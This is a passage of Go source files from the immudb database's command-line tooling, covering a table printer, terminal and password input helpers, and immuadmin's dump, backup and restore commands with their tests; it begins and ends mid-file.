helper.ExaByte))) } func size(fraction float64, unit int) uint64 { s := fraction * float64(unit) return uint64(s) } ================================================ FILE: cmd/helper/table_printer.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package helper import ( "fmt" "io" "strconv" "strings" "text/tabwriter" ) // PrintTable prints data (string arrays) in a tabular format func PrintTable( w io.Writer, cols []string, nbRows int, getRow func(int) []string, caption string, ) { if nbRows == 0 { return } nbCols := len(cols) if nbCols == 0 { return } colSep := "\t" maxNbDigits := 0 tens := nbRows for tens != 0 { tens /= 10 maxNbDigits++ } header := append([]string{strings.Repeat("#", maxNbDigits)}, cols...) var sb strings.Builder for _, th := range header { for i := 0; i < len(th); i++ { sb.WriteString("-") } sb.WriteString(colSep) } borderBottom := sb.String() sb.Reset() if len(caption) <= 0 { caption = fmt.Sprintf("%d row(s)", nbRows) } fmt.Fprint(w, caption+"\n") tw := tabwriter.NewWriter(w, 0, 0, 2, ' ', 0) fmt.Fprintln(tw, borderBottom) fmt.Fprint(tw, strings.Join(header, colSep), colSep, "\n") fmt.Fprintln(tw, borderBottom) for i := 0; i < nbRows; i++ { row := getRow(i) nbRowCols := len(row) for j := 0; j < nbCols; j++ { if j < nbRowCols { sb.WriteString(row[j]) } sb.WriteString(colSep) } fmt.Fprint(tw, strconv.Itoa(i+1), colSep, sb.String(), "\n") sb.Reset() } fmt.Fprintln(tw, borderBottom) _ = tw.Flush() } ================================================ FILE: cmd/helper/table_printer_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package helper import ( "os" "testing" "github.com/codenotary/immudb/cmd/cmdtest" "github.com/stretchr/testify/assert" ) func TestPrintTable(t *testing.T) { collector := new(cmdtest.StdOutCollector) collector.Start() elements := make([]string, 2) elements[0] = "one" elements[1] = "two" PrintTable( os.Stdout, []string{"Database Name"}, len(elements), func(i int) []string { row := make([]string, 1) row[0] = elements[i] return row }, "", ) ris, _ := collector.Stop() assert.Contains(t, ris, "one") assert.Contains(t, ris, "two") assert.Contains(t, ris, "2 row(s)") // custom table caption elements[1] = "three" collector.Start() PrintTable( os.Stdout, []string{"Database Name"}, len(elements), func(i int) []string { row := make([]string, 1) row[0] = elements[i] return row }, "2 numbers", ) ris, _ = collector.Stop() assert.Contains(t, ris, "three") assert.Contains(t, ris, "2 numbers") } func TestPrintTableZeroEle(t *testing.T) { collector := new(cmdtest.StdOutCollector) collector.Start() elements := make([]string, 0) PrintTable( os.Stdout, []string{"Database Name"}, len(elements), func(i int) []string { row := make([]string, 1) row[0] = elements[i] return row }, "", ) ris, _ := collector.Stop() assert.Equal(t, "", ris) } func TestPrintTableZeroCol(t *testing.T) { collector := new(cmdtest.StdOutCollector) collector.Start() elements := make([]string, 2) elements[0] = "one" elements[1] = "two" PrintTable( os.Stdout, []string{}, len(elements), func(i int) []string { row := make([]string, 1) row[0] = elements[i] return row }, "", ) ris, _ := collector.Stop() assert.Equal(t, "", ris) } ================================================ FILE: cmd/helper/terminal.go ================================================ package helper import ( "fmt" "io" "io/ioutil" "os" "strings" "golang.org/x/crypto/ssh/terminal" ) type terminalReader struct { r io.Reader } type TerminalReader interface { ReadFromTerminalYN(def string) (selected string, err error) } func NewTerminalReader(r io.Reader) *terminalReader { return &terminalReader{r} } // ReadFromTerminalYN read terminal user input from a Yes No dialog. It returns y and n only with an explicit Yy or Nn input. If no input is submitted it returns default value. If the input is different from the expected one empty string is returned. func (t *terminalReader) ReadFromTerminalYN(def string) (selected string, err error) { var u string var n int if n, err = fmt.Fscanln(t.r, &u); err != nil && err != io.EOF && err.Error() != "unexpected newline" { return "", err } if n <= 0 { u = def } u = strings.TrimSpace(strings.ToLower(u)) if u == "y" { return "y", nil } if u == "n" { return "n", nil } return "", nil } // PasswordReader ... type PasswordReader interface { Read(string) ([]byte, error) } type stdinPasswordReader struct { trp TerminalReadPw } // DefaultPasswordReader ... var DefaultPasswordReader PasswordReader = stdinPasswordReader{trp: terminalReadPw{}} func (pr stdinPasswordReader) Read(msg string) ([]byte, error) { fi, _ := os.Stdin.Stat() // pipe? if (fi.Mode() & os.ModeCharDevice) == 0 { pass, err := ioutil.ReadAll(os.Stdin) if err != nil { return nil, err } return pass, nil } else { // terminal fmt.Print(msg) pass, err := pr.trp.ReadPassword(int(os.Stdin.Fd())) fmt.Println() if err != nil { return nil, err } return pass, nil } } type terminalReadPw struct{} type TerminalReadPw interface { ReadPassword(fd int) ([]byte, error) } func (trp terminalReadPw) ReadPassword(fd int) ([]byte, error) { return terminal.ReadPassword(fd) } ================================================ FILE: cmd/helper/terminal_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package helper import ( "os" "strings" "testing" "github.com/stretchr/testify/assert" ) func TestTerminalReader_ReadFromTerminalYN(t *testing.T) { tr := NewTerminalReader(strings.NewReader("Y")) resp, err := tr.ReadFromTerminalYN("Y") assert.NoError(t, err) assert.Equal(t, "y", resp) tr.r = strings.NewReader("sgdf") resp, err = tr.ReadFromTerminalYN("Y") assert.NoError(t, err) assert.Equal(t, "", resp) tr.r = strings.NewReader("N") resp, err = tr.ReadFromTerminalYN("Y") assert.NoError(t, err) assert.Equal(t, "n", resp) tr.r = strings.NewReader("") resp, err = tr.ReadFromTerminalYN("Y") assert.NoError(t, err) assert.Equal(t, "y", resp) } func TestStdinPasswordReader_Read(t *testing.T) { pr := stdinPasswordReader{&terminalReadPwMock{}} pw, err := pr.Read("paxword") assert.NoError(t, err) assert.Equal(t, []byte(`fake`), pw) } func TestTerminalReadPw_ReadPassword(t *testing.T) { trp := terminalReadPw{} _, err := trp.ReadPassword(int(os.Stdin.Fd())) assert.Error(t, err) } type terminalReadPwMock struct{} func (trp *terminalReadPwMock) ReadPassword(fd int) ([]byte, error) { return []byte(`fake`), nil } ================================================ FILE: cmd/immuadmin/command/backup.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuadmin import ( "context" "errors" "fmt" stdos "os" "path" "runtime" "strings" "time" "github.com/fatih/color" "github.com/spf13/cobra" daem "github.com/takama/daemon" c "github.com/codenotary/immudb/cmd/helper" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/client/homedir" "github.com/codenotary/immudb/pkg/client/tokenservice" "github.com/codenotary/immudb/pkg/fs" "github.com/codenotary/immudb/pkg/immuos" "github.com/codenotary/immudb/pkg/server" ) type backupper struct { daemon daem.Daemon os immuos.OS copier fs.Copier tarer fs.Tarer ziper fs.Ziper } func newBackupper(os immuos.OS) (*backupper, error) { d, err := daem.New("immudb", "", "") if err != nil { return nil, err } return &backupper{ daemon: d, os: os, copier: fs.NewStandardCopier(), tarer: fs.NewStandardTarer(), ziper: fs.NewStandardZiper()}, nil } // Backupper ... type Backupper interface { mustNotBeWorkingDir(p string) error stopImmudbService() (func(), error) offlineBackup(src string, uncompressed bool, manualStopStart bool) (string, error) offlineRestore(src string, dst string, manualStopStart bool) (string, error) } type commandlineBck struct { commandline Backupper c.TerminalReader } func newCommandlineBck(os immuos.OS) (*commandlineBck, error) { b, err := newBackupper(os) if err != nil { return nil, err } cl := commandline{} cl.config.Name = "immuadmin" cl.passwordReader = c.DefaultPasswordReader cl.context = context.Background() cl.os = os tr := c.NewTerminalReader(stdos.Stdin) return &commandlineBck{cl, b, tr}, nil } func (clb *commandlineBck) Register(rootCmd *cobra.Command) *cobra.Command { clb.dumpToFile(rootCmd) clb.backup(rootCmd) clb.restore(rootCmd) return rootCmd } func (cl *commandlineBck) ConfigChain(post func(cmd *cobra.Command, args []string) error) func(cmd *cobra.Command, args []string) (err error) { return func(cmd *cobra.Command, args []string) (err error) { if err = cl.config.LoadConfig(cmd); err != nil { return err } // here all command line options and services need to be configured by options retrieved from viper cl.options = Options() cl.ts = tokenservice.NewFileTokenService().WithHds(homedir.NewHomedirService()).WithTokenFileName(cl.options.TokenFileName) if post != nil { return post(cmd, args) } return nil } } func (cl *commandlineBck) dumpToFile(cmd *cobra.Command) { ccmd := &cobra.Command{ Use: "dump [file]", Short: "Dump database content to a file", PersistentPreRunE: cl.ConfigChain(cl.checkLoggedInAndConnect), PersistentPostRun: cl.disconnect, RunE: func(cmd *cobra.Command, args []string) error { filename := fmt.Sprint("immudb_" + time.Now().Format("2006-01-02_15-04-05") + ".bkp") if len(args) > 0 { filename = args[0] } file, err := cl.os.Create(filename) defer file.Close() if err != nil { cl.quit(err) return nil } ctx := cl.context response, err := cl.immuClient.Dump(ctx, file) if err != nil { color.Set(color.FgHiBlue, color.Bold) fmt.Println("Backup failed.") color.Unset() cl.os.Remove(filename) cl.quit(err) return nil } else if response == 0 { fmt.Println("Database is empty.") cl.os.Remove(filename) return nil } fmt.Printf("SUCCESS: %d key-value entries were backed-up to file %s\n", response, filename) return nil }, Args: cobra.MaximumNArgs(1), } cmd.AddCommand(ccmd) } func (cl *commandlineBck) backup(cmd *cobra.Command) { defaultDbDir := server.DefaultOptions().Dir ccmd := &cobra.Command{ Use: "backup [--dbdir] [--manual-stop-start] [--uncompressed]", Short: "Make a copy of the database files and folders", Long: "Pause the immudb server, create and save on the server machine a snapshot " + "of the database files and folders (zip on Windows, tar.gz on Linux or uncompressed).", PersistentPreRunE: cl.ConfigChain(nil), RunE: func(cmd *cobra.Command, args []string) error { dbDir, err := cmd.Flags().GetString("dbdir") if err != nil { cl.quit(err) return nil } if err = cl.mustNotBeWorkingDir(dbDir); err != nil { cl.quit(err) return nil } manualStopStart, err := cmd.Flags().GetBool("manual-stop-start") if err != nil { cl.quit(err) return nil } uncompressed, err := cmd.Flags().GetBool("uncompressed") if err != nil { cl.quit(err) return nil } if err := cl.askUserConfirmation("backup", manualStopStart); err != nil { cl.quit(err) return nil } backupPath, err := cl.offlineBackup(dbDir, uncompressed, manualStopStart) if err != nil { cl.quit(err) return nil } fmt.Printf("Database backup created: %s\n", backupPath) return nil }, Args: cobra.NoArgs, } ccmd.Flags().String("dbdir", defaultDbDir, fmt.Sprintf("path to the server database directory to backup (default %s)", defaultDbDir)) ccmd.Flags().Bool("manual-stop-start", false, "server stop before and restart after the backup are to be handled manually by the user (default false)") ccmd.Flags().BoolP("uncompressed", "u", false, "create an uncompressed backup (i.e. make just a copy of the db directory)") cmd.AddCommand(ccmd) } func (cl *commandlineBck) restore(cmd *cobra.Command) { defaultDbDir := server.DefaultOptions().Dir ccmd := &cobra.Command{ Use: "restore snapshot-path [--dbdir] [--manual-stop-start]", Short: "Restore the database from a snapshot archive or folder", Long: "Pause the immudb server and restore the database files and folders from a snapshot " + "file (zip or tar.gz) or folder (uncompressed) residing on the server machine.", PersistentPreRunE: cl.ConfigChain(nil), RunE: func(cmd *cobra.Command, args []string) error { snapshotPath := args[0] dbDir, err := cmd.Flags().GetString("dbdir") if err != nil { cl.quit(err) return nil } manualStopStart, err := cmd.Flags().GetBool("manual-stop-start") if err != nil { cl.quit(err) return nil } if err := cl.askUserConfirmation("restore", manualStopStart); err != nil { cl.quit(err) return nil } autoBackupPath, err := cl.offlineRestore(snapshotPath, dbDir, manualStopStart) if err != nil { cl.quit(err) return nil } fmt.Printf("Database restored from backup %s\n", snapshotPath) fmt.Printf("A backup of the previous database has been also created: %s\n", autoBackupPath) return nil }, Args: cobra.ExactArgs(1), } ccmd.Flags().String("dbdir", defaultDbDir, fmt.Sprintf("path to the server database directory which will be replaced by the backup (default %s)", defaultDbDir)) ccmd.Flags().Bool("manual-stop-start", false, "server stop before and restart after the backup are to be handled manually by the user (default false)") cmd.AddCommand(ccmd) } func (cl *commandlineBck) askUserConfirmation(process string, manualStopStart bool) error { if !manualStopStart { fmt.Printf( "Server will be stopped and then restarted during the %s process.\n"+ "NOTE: If the backup process is forcibly interrupted, a manual restart "+ "of the immudb service may be needed.\n"+ "Are you sure you want to proceed? [y/N]: ", process) answer, err := cl.ReadFromTerminalYN("N") if err != nil || !(strings.ToUpper("Y") == strings.TrimSpace(strings.ToUpper(answer))) { return errors.New("Canceled") } pass, err := cl.passwordReader.Read("Enter admin password:") if err != nil { return err } _ = cl.checkLoggedInAndConnect(nil, nil) defer cl.disconnect(nil, nil) if _, err = cl.immuClient.Login(cl.context, []byte(auth.SysAdminUsername), pass); err != nil { return err } } else { fmt.Print("Please make sure the immudb server is not running before proceeding. Are you sure you want to proceed? [y/N]: ") answer, err := cl.ReadFromTerminalYN("N") if err != nil || !(strings.ToUpper("Y") == strings.TrimSpace(strings.ToUpper(answer))) { return errors.New("Canceled") } } return nil } func (b *backupper) mustNotBeWorkingDir(p string) error { currDir, err := b.os.Getwd() if err != nil { return err } pathAbs, err := b.os.Abs(p) if err != nil { return err } currDirAbs, err := b.os.Abs(currDir) if err != nil { return err } if pathAbs == currDirAbs { return fmt.Errorf( "cannot backup the current directory, please specify a subdirectory, for example ./data") } return nil } func (b *backupper) stopImmudbService() (func(), error) { if _, err := b.daemon.Stop(); err != nil { return nil, fmt.Errorf("error stopping immudb server: %v", err) } return func() { if _, err := b.daemon.Start(); err != nil { fmt.Fprintf(stdos.Stderr, "error restarting immudb server: %v", err) } }, nil } func (b *backupper) offlineBackup(src string, uncompressed bool, manualStopStart bool) (string, error) { srcInfo, err := b.os.Stat(src) if err != nil { return "", err } if !srcInfo.IsDir() { return "", fmt.Errorf("%s is not a directory", src) } if !manualStopStart { startImmudbService, err := b.stopImmudbService() if err != nil { return "", err } defer startImmudbService() } srcBase := b.os.Base(src) snapshotPath := srcBase + "_bkp_" + time.Now().Format("2006-01-02_15-04-05") if err = b.copier.CopyDir(src, snapshotPath); err != nil { return "", err } // remove the immudb.identifier file from the backup if err = b.os.Remove(snapshotPath + "/" + server.IDENTIFIER_FNAME); err != nil { fmt.Fprintf(stdos.Stderr, "error removing immudb identifier file %s from db snapshot %s: %v", server.IDENTIFIER_FNAME, snapshotPath, err) } if uncompressed { absSnapshotPath, err := b.os.Abs(snapshotPath) if err != nil { fmt.Fprintf(stdos.Stderr, "error converting to absolute path the rel path %s of the uncompressed backup: %v", snapshotPath, err) absSnapshotPath = snapshotPath } return absSnapshotPath, nil } var archivePath string var archiveErr error if runtime.GOOS != "windows" { archivePath = snapshotPath + ".tar.gz" archiveErr = b.tarer.TarIt(snapshotPath, archivePath) } else { archivePath = snapshotPath + ".zip" archiveErr = b.ziper.ZipIt(snapshotPath, archivePath, fs.ZipDefaultCompression) } if archiveErr != nil { return "", fmt.Errorf( "database copied successfully to %s, but compression to %s failed: %v", snapshotPath, archivePath, archiveErr) } if err = b.os.RemoveAll(snapshotPath); err != nil { fmt.Fprintf(stdos.Stderr, "error removing db snapshot dir %s after successfully compressing it to %s: %v", snapshotPath, archivePath, err) } absArchivePath, err := b.os.Abs(archivePath) if err != nil { fmt.Fprintf(stdos.Stderr, "error converting to absolute path the rel path %s of the archived backup: %v", archivePath, err) absArchivePath = archivePath } return absArchivePath, nil } func (b *backupper) offlineRestore(src string, dst string, manualStopStart bool) (string, error) { snapshotPath := src _, err := b.os.Stat(snapshotPath) if err != nil { return "", err } snapshotExt := b.os.Ext(snapshotPath) snapshotName := b.os.Base(snapshotPath) snapshotNameNoExt := strings.TrimSuffix(snapshotName, snapshotExt) if strings.ToLower(snapshotExt) == ".gz" { snapshotExt = b.os.Ext(snapshotNameNoExt) + snapshotExt snapshotNameNoExt = strings.TrimSuffix(snapshotName, snapshotExt) } dbParentDir := b.os.Dir(dst) + string(stdos.PathSeparator) extractedSnapshotDir := dbParentDir + snapshotNameNoExt now := time.Now().Format("2006-01-02_15-04-05") var extract func(string, string) error switch snapshotExt { case ".tar.gz": extract = b.tarer.UnTarIt case ".zip": extract = b.ziper.UnZipIt case "": // uncompressed // TODO OGG: this will result in the backup being renamed directly to the db folder if dbParentDir != b.os.Dir(snapshotPath)+string(stdos.PathSeparator) { extract = b.copier.CopyDir } default: return "", fmt.Errorf( "snapshot %s has unsupported format %s; supported formats: .tar.gz, .zip or none (uncompressed)", snapshotPath, snapshotExt) } if !manualStopStart { startImmudbService, err := b.stopImmudbService() if err != nil { return "", err } defer startImmudbService() } if extract != nil { if err = extract(snapshotPath, dbParentDir); err != nil { return "", err } } // keep the same db identifier serverIDSrc := path.Join(dst, server.IDENTIFIER_FNAME) serverIDDst := path.Join(extractedSnapshotDir, server.IDENTIFIER_FNAME) if err = b.copier.CopyFile(serverIDSrc, serverIDDst); err != nil { fmt.Fprintf(stdos.Stderr, "error copying immudb identifier file %s to %s: %v", serverIDSrc, serverIDDst, err) } dbDirAutoBackupPath := dst + "_bkp_before_restore_" + now if err = b.os.Rename(dst, dbDirAutoBackupPath); err != nil { return "", fmt.Errorf( "error renaming previous db dir %s to %s during restore: %v", dst, dbDirAutoBackupPath, err) } if err = b.os.Rename(extractedSnapshotDir, dst); err != nil { return "", fmt.Errorf( "error renaming new tmp snapshot dir %s to db dir %s during restore: %v", extractedSnapshotDir, dst, err) } return dbDirAutoBackupPath, nil } ================================================ FILE: cmd/immuadmin/command/backup_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuadmin /* import ( "context" "errors" "fmt" "io" "io/ioutil" stdos "os" "path/filepath" "testing" "github.com/codenotary/immudb/cmd/helper" "github.com/stretchr/testify/assert" "github.com/codenotary/immudb/cmd/cmdtest" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/client/clienttest" "github.com/codenotary/immudb/pkg/fs" "github.com/codenotary/immudb/pkg/immuos" "github.com/codenotary/immudb/pkg/server" "github.com/spf13/cobra" "github.com/takama/daemon" "github.com/stretchr/testify/require" ) type daemonMock struct { GetTemplateF func() string SetTemplateF func(string) error InstallF func(...string) (string, error) RemoveF func() (string, error) StartF func() (string, error) StopF func() (string, error) StatusF func() (string, error) RunF func(daemon.Executable) (string, error) } func (dm *daemonMock) GetTemplate() string { if dm.GetTemplateF == nil { return "" } return dm.GetTemplateF() } func (dm *daemonMock) SetTemplate(t string) error { if dm.SetTemplateF == nil { return nil } return dm.SetTemplateF(t) } func (dm *daemonMock) Install(args ...string) (string, error) { if dm.InstallF == nil { return "", nil } return dm.InstallF(args...) } func (dm *daemonMock) Remove() (string, error) { if dm.RemoveF == nil { return "", nil } return dm.RemoveF() } func (dm *daemonMock) Start() (string, error) { if dm.StartF == nil { return "", nil } return dm.StartF() } func (dm *daemonMock) Stop() (string, error) { if dm.StopF == nil { return "", nil } return dm.StopF() } func (dm *daemonMock) Status() (string, error) { if dm.StatusF == nil { return "", nil } return dm.StatusF() } func (dm *daemonMock) Run(e daemon.Executable) (string, error) { if dm.RunF == nil { return "", nil } return dm.RunF(e) } func defaultDaemonMock() *daemonMock { return &daemonMock{ GetTemplateF: func() string { return "" }, SetTemplateF: func(t string) error { return nil }, InstallF: func(args ...string) (string, error) { return "", nil }, RemoveF: func() (string, error) { return "", nil }, StartF: func() (string, error) { return "", nil }, StopF: func() (string, error) { return "", nil }, StatusF: func() (string, error) { return "", nil }, RunF: func(e daemon.Executable) (string, error) { return "", nil }, } } func TestDumpToFile(t *testing.T) { os := immuos.NewStandardOS() clb, err := newCommandlineBck(os) require.NoError(t, err) clb.options = client.DefaultOptions() immuClientMock := &clienttest.ImmuClientMock{} clb.immuClient = immuClientMock clb.newImmuClient = func(*client.Options) (client.ImmuClient, error) { return immuClientMock, nil } immuClientMock.DisconnectF = func() error { return nil } clb.passwordReader = &clienttest.PasswordReaderMock{} clb.context = context.Background() hds := clienttest.DefaultHomedirServiceMock() hds.FileExistsInUserHomeDirF = func(string) (bool, error) { return true, nil } clb.ts = tokenservice.NewTokenService().WithHds(hds).WithTokenFileName("testTokenFile") daemMock := defaultDaemonMock() clb.Backupper = &backupper{ daemon: daemMock, os: os, copier: fs.NewStandardCopier(), tarer: fs.NewStandardTarer(), ziper: fs.NewStandardZiper(), } termReaderMock := &clienttest.TerminalReaderMock{ ReadFromTerminalYNF: func(def string) (selected string, err error) { return "Y", nil }, } clb.TerminalReader = termReaderMock dumpFile := "backup_test_dump_output.bkp" defer stdos.Remove(dumpFile) errDump := errors.New("dump error") immuClientMock.DumpF = func(ctx context.Context, f io.WriteSeeker) (int64, error) { return 0, errDump } collector := new(cmdtest.StdOutCollector) clb.onError = func(msg interface{}) { dumpLog, err := collector.Stop() require.Equal(t, errDump, msg.(error)) require.NoError(t, err) require.Equal(t, "Backup failed.\n", dumpLog) } cl := commandline{} cmd, _ := cl.NewCmd() cmd.SetArgs([]string{"dump", dumpFile}) clb.dumpToFile(cmd) require.NoError(t, collector.Start()) // remove ConfigChain method to avoid override options cmd.PersistentPreRunE = nil cmdlist := cmd.Commands()[0] cmdlist.PersistentPreRunE = nil require.NoError(t, cmd.Execute()) collector.Stop() immuClientMock.DumpF = func(ctx context.Context, f io.WriteSeeker) (int64, error) { return 0, nil } require.NoError(t, collector.Start()) require.Nil(t, cmd.Execute()) dumpLog, err := collector.Stop() require.NoError(t, err) require.Equal(t, "Database is empty.\n", dumpLog) immuClientMock.DumpF = func(ctx context.Context, f io.WriteSeeker) (int64, error) { return 1, nil } require.NoError(t, collector.Start()) require.Nil(t, cmd.Execute()) dumpLog, err = collector.Stop() require.NoError(t, err) require.Equal(t, fmt.Sprintf("SUCCESS: 1 key-value entries were backed-up to file %s\n", dumpFile), dumpLog) } func deleteBackupFiles(prefix string) { files, _ := filepath.Glob(fmt.Sprintf("./%s_bkp_*", prefix)) for _, f := range files { stdos.RemoveAll(f) } } func TestBackup(t *testing.T) { os := immuos.NewStandardOS() clb, err := newCommandlineBck(os) require.NoError(t, err) clb.options = client.DefaultOptions() loginFOK := func(context.Context, []byte, []byte) (*schema.LoginResponse, error) { return &schema.LoginResponse{Token: "token"}, nil } immuClientMock := &clienttest.ImmuClientMock{ LoginF: loginFOK, } clb.immuClient = immuClientMock clb.newImmuClient = func(*client.Options) (client.ImmuClient, error) { return immuClientMock, nil } immuClientMock.DisconnectF = func() error { return nil } pwReaderMock := &clienttest.PasswordReaderMock{} clb.passwordReader = pwReaderMock clb.context = context.Background() hds := clienttest.DefaultHomedirServiceMock() hds.FileExistsInUserHomeDirF = func(string) (bool, error) { return true, nil } clb.ts = tokenservice.NewTokenService().WithHds(hds).WithTokenFileName("testTokenFile") daemMock := defaultDaemonMock() clb.Backupper = &backupper{ daemon: daemMock, os: os, copier: fs.NewStandardCopier(), tarer: fs.NewStandardTarer(), ziper: fs.NewStandardZiper(), } okReadFromTerminalYNF := func(def string) (selected string, err error) { return "Y", nil } termReaderMock := &clienttest.TerminalReaderMock{ ReadFromTerminalYNF: okReadFromTerminalYNF, } clb.TerminalReader = termReaderMock dbDir := "backup_test_db_dir" require.NoError(t, stdos.Mkdir(dbDir, 0755)) defer stdos.Remove(dbDir) collector := new(cmdtest.StdOutCollector) clb.onError = func(msg interface{}) { require.Empty(t, msg.(error)) } // success cl := commandline{} cmd, _ := cl.NewCmd() cmd.SetArgs([]string{ "backup", fmt.Sprintf("--dbdir=%s", dbDir), }) defer deleteBackupFiles(dbDir) clb.backup(cmd) require.NoError(t, collector.Start()) // remove ConfigChain method to avoid override options cmd.PersistentPreRunE = nil innercmd := cmd.Commands()[0] innercmd.PersistentPreRunE = nil require.Nil(t, cmd.Execute()) backupLog, err := collector.Stop() require.NoError(t, err) require.Contains(t, backupLog, "Database backup created: ") cmd = &cobra.Command{} cmd.SetArgs([]string{ "backup", fmt.Sprintf("--dbdir=%s", dbDir), "--uncompressed", }) clb.backup(cmd) require.NoError(t, collector.Start()) // remove ConfigChain method to avoid override options cmd.PersistentPreRunE = nil innercmd = cmd.Commands()[0] innercmd.PersistentPreRunE = nil require.Nil(t, cmd.Execute()) backupLog, err = collector.Stop() require.NoError(t, err) require.Contains(t, backupLog, "Database backup created: ") // Abs error (uncompressed backup) deleteBackupFiles(dbDir) absFOK := os.AbsF errAbsUncompressed := "Abs error uncompressed" nbAbsCalls := 0 os.AbsF = func(path string) (string, error) { nbAbsCalls++ if nbAbsCalls > 2 { return "", errors.New(errAbsUncompressed) } return absFOK(path) } collector.CaptureStderr = true require.NoError(t, collector.Start()) // remove ConfigChain method to avoid override options cmd.PersistentPreRunE = nil innercmd = cmd.Commands()[0] innercmd.PersistentPreRunE = nil require.NoError(t, cmd.Execute()) backupLog, err = collector.Stop() require.NoError(t, err) require.Contains(t, backupLog, errAbsUncompressed) collector.CaptureStderr = false os.AbsF = absFOK // reset command deleteBackupFiles(dbDir) cl = commandline{} cmd, _ = cl.NewCmd() cmd.SetArgs([]string{ "backup", fmt.Sprintf("--dbdir=%s", dbDir), }) clb.backup(cmd) // Getwd error getwdFOK := os.GetwdF errGetwd := errors.New("Getwd error") os.GetwdF = func() (string, error) { return "", errGetwd } clb.onError = func(msg interface{}) { require.Equal(t, errGetwd, msg) } // remove ConfigChain method to avoid override options cmd.PersistentPreRunE = nil innercmd = cmd.Commands()[0] innercmd.PersistentPreRunE = nil require.NoError(t, cmd.Execute()) os.GetwdF = getwdFOK // Abs error errAbs1 := errors.New("Abs error 1") os.AbsF = func(path string) (string, error) { return "", errAbs1 } clb.onError = func(msg interface{}) { require.Equal(t, errAbs1, msg) } // remove ConfigChain method to avoid override options cmd.PersistentPreRunE = nil innercmd = cmd.Commands()[0] innercmd.PersistentPreRunE = nil require.NoError(t, cmd.Execute()) errAbs2 := errors.New("Abs error 2") nbAbsCalls = 0 os.AbsF = func(path string) (string, error) { nbAbsCalls++ if nbAbsCalls == 1 { return absFOK(path) } return "", errAbs2 } clb.onError = func(msg interface{}) { require.Equal(t, errAbs2, msg) } // remove ConfigChain method to avoid override options cmd.PersistentPreRunE = nil innercmd = cmd.Commands()[0] innercmd.PersistentPreRunE = nil require.NoError(t, cmd.Execute()) os.AbsF = absFOK // RemoveAll error removeAllFOK := os.RemoveAllF errRemoveAll := "RemoveAll error" os.RemoveAllF = func(path string) error { return errors.New(errRemoveAll) } clb.onError = func(msg interface{}) { require.Empty(t, msg) } collector.CaptureStderr = true require.NoError(t, collector.Start()) // remove ConfigChain method to avoid override options cmd.PersistentPreRunE = nil innercmd = cmd.Commands()[0] innercmd.PersistentPreRunE = nil require.NoError(t, cmd.Execute()) backupLog, err = collector.Stop() require.NoError(t, err) require.Contains(t, backupLog, errRemoveAll) collector.CaptureStderr = false os.RemoveAllF = removeAllFOK // Abs error again deleteBackupFiles(dbDir) errAbs3 := "Abs error 3" nbAbsCalls = 0 os.AbsF = func(path string) (string, error) { nbAbsCalls++ if nbAbsCalls <= 2 { return absFOK(path) } return "", errors.New(errAbs3) } collector.CaptureStderr = true require.NoError(t, collector.Start()) // remove ConfigChain method to avoid override options cmd.PersistentPreRunE = nil innercmd = cmd.Commands()[0] innercmd.PersistentPreRunE = nil require.NoError(t, cmd.Execute()) backupLog, err = collector.Stop() require.NoError(t, err) require.Contains(t, backupLog, errAbs3) collector.CaptureStderr = false os.AbsF = absFOK // canceled nokReadFromTerminalYNF := func(def string) (selected string, err error) { return "N", nil } termReaderMock.ReadFromTerminalYNF = nokReadFromTerminalYNF clb.onError = func(msg interface{}) { require.Equal(t, "Canceled", msg.(error).Error()) } // remove ConfigChain method to avoid override options cmd.PersistentPreRunE = nil innercmd = cmd.Commands()[0] innercmd.PersistentPreRunE = nil require.NoError(t, cmd.Execute()) cmd.SetArgs([]string{ "backup", fmt.Sprintf("--dbdir=%s", dbDir), "--manual-stop-start", }) clb.onError = func(msg interface{}) { require.Equal(t, "Canceled", msg.(error).Error()) } // remove ConfigChain method to avoid override options cmd.PersistentPreRunE = nil innercmd = cmd.Commands()[0] innercmd.PersistentPreRunE = nil require.NoError(t, cmd.Execute()) termReaderMock.ReadFromTerminalYNF = okReadFromTerminalYNF // password read error cl = commandline{} cmd, _ = cl.NewCmd() cmd.SetArgs([]string{ "backup", fmt.Sprintf("--dbdir=%s", dbDir), }) pwReadErr := errors.New("password read error") errPwReadF := func(msg string) ([]byte, error) { return nil, pwReadErr } pwReaderMock.ReadF = errPwReadF clb.onError = func(msg interface{}) { require.Equal(t, pwReadErr, msg) } clb.backup(cmd) // remove ConfigChain method to avoid override options cmd.PersistentPreRunE = nil innercmd = cmd.Commands()[0] innercmd.PersistentPreRunE = nil require.NoError(t, cmd.Execute()) pwReaderMock.ReadF = 